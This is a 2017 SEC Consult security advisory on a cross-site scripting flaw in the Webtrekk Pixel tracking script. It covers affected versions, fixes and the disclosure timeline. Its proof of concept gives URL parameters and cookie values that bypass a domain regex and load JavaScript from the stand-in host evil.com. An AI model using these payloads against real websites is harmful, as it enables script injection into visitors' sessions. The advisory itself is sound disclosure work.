SEC Consult Vulnerability Lab Security Advisory < 20171017-0 > ======================================================================= title: Cross site scripting product: Webtrekk Pixel tracking vulnerable version: v3.24 to v3.40, v4.00 to v4.40, v5.00 to v5.04 fixed version: v3.41, v4.41, v5.05 impact: Medium homepage: https://www.webtrekk.com/ found: 2017-08-29 by: Malte Batram for SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Webtrekk Analytics offers an endless range of filter and analysis functions. Whatever type of site you operate, our analytics tools give you the raw data you need to dive into your web and app metrics so you can optimise your digital marketing campaigns." Source: https://www.webtrekk.com/en/solutions/analytics/ "At home in Germany, Webtrekk ranks first among professional analytics tools used by the 1,000 most popular .de domains. All told, Webtrekk has a 22.9 percent market share among providers for the top German domains, excluding sites that use Google Analytics or have no analytics system." Source: https://www.webtrekk.com/en/why-webtrekk/market-leader/ Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues. Vulnerability overview/description: ----------------------------------- 1) Cross site scripting vulnerability The Webtrekk Pixel component, used on many websites to track users, has the capability to load arbitrary external JavaScript via multiple parameter combinations. The parameters are parsed from the search-part of the URL. ?wt_overlay=1&wt_reporter=url_for_external_javascript ?wt_heatmap=1&wt_reporter=url_for_external_javascript The URL specified in the parameter wt_reporter is checked by a Regex that can be bypassed in different ways. Proof of concept: ----------------- 1) Cross site scripting vulnerability Example URL: http://www.example.com/?wt_overlay=1&wt_reporter=report1.webtrekk.com.evil.com/ The example URL leads to the inclusion of the following HTML in the page: <script language="javascript" type="text/javascript" src="https://report1.webtrekk.com.evil.com/overlay.pl? wt_contentId=..."></script> Regex that checks the URL: /^(http[s]?:\/\/)?(report\d+|analytics)\.webtrekk\.(com|de).*$/ The .* at the end of the expression allows multiple bypasses: Subdomain: report1.webtrekk.com.evil.com/ Auth: report1.webtrekk.com@evil.com/ NoSlash: report1.webtrekk.com The last bypass leads to the inclusion of JavaScript from the domain overlay.pl, which at the time of testing was open to be registered, but has been registered by Webtrekk for security reasons now. The vulnerability can also be triggered via cookies. This enables an attacker to execute JavaScript in the session of the victim anytime the website with the vulnerable script is visited, after only using the parameters from the search once to set the cookie values. Cookie values: wt_overlay=1; wt_overlayFrame=report1.webtrekk.com.evil.com/; Vulnerable / tested versions: ----------------------------- Latest version v4.3.9 tested: https://support.webtrekk.com/hc/de/article_attachments/115005882469/Webtrekk_EN_Config_Pixel_v4.3.9.zip Also found to be vulnerable: 3.2.6, 4.0.5, 4.3.5 The setup for version 5 is different and the static part (tiLoader.min.js) does not include the vulnerable JavaScript directly. However code similiar to the overlay functions from version 3 and 4 seems to be loaded dynamically (which also includes the same Regex check). According to the vendor, v5 is affected as well. Vendor contact timeline: ------------------------ 2017-08-30: Contacting vendor through ask@webtrekk.com & email under "Contact", no answer 2017-09-12: Asking for contact again 2017-09-12: Vendor: requests sending the advisory and verifies it internally 2017-09-13: Vendor: optimized validation, fixed in internal version 2017-09-14: Release of patched version and vendor informs their customers 2017-10-17: Coordinated release of security advisory Solution: --------- Upgrade to the patched versions from the vendor immediately. The following versions contain better domain validation and fix the issue according to the vendor: v3.41, v4.41, v5.05 According to the vendor, the updated versions are available within the support center on the vendor's website for all customers and a message that a security update is available will be shown. Workaround: ----------- Setting "disableOverlayView: true" in the webtrekkConfig prevents the execution of the vulnerable code. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/about-us/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF M. Batram / @2017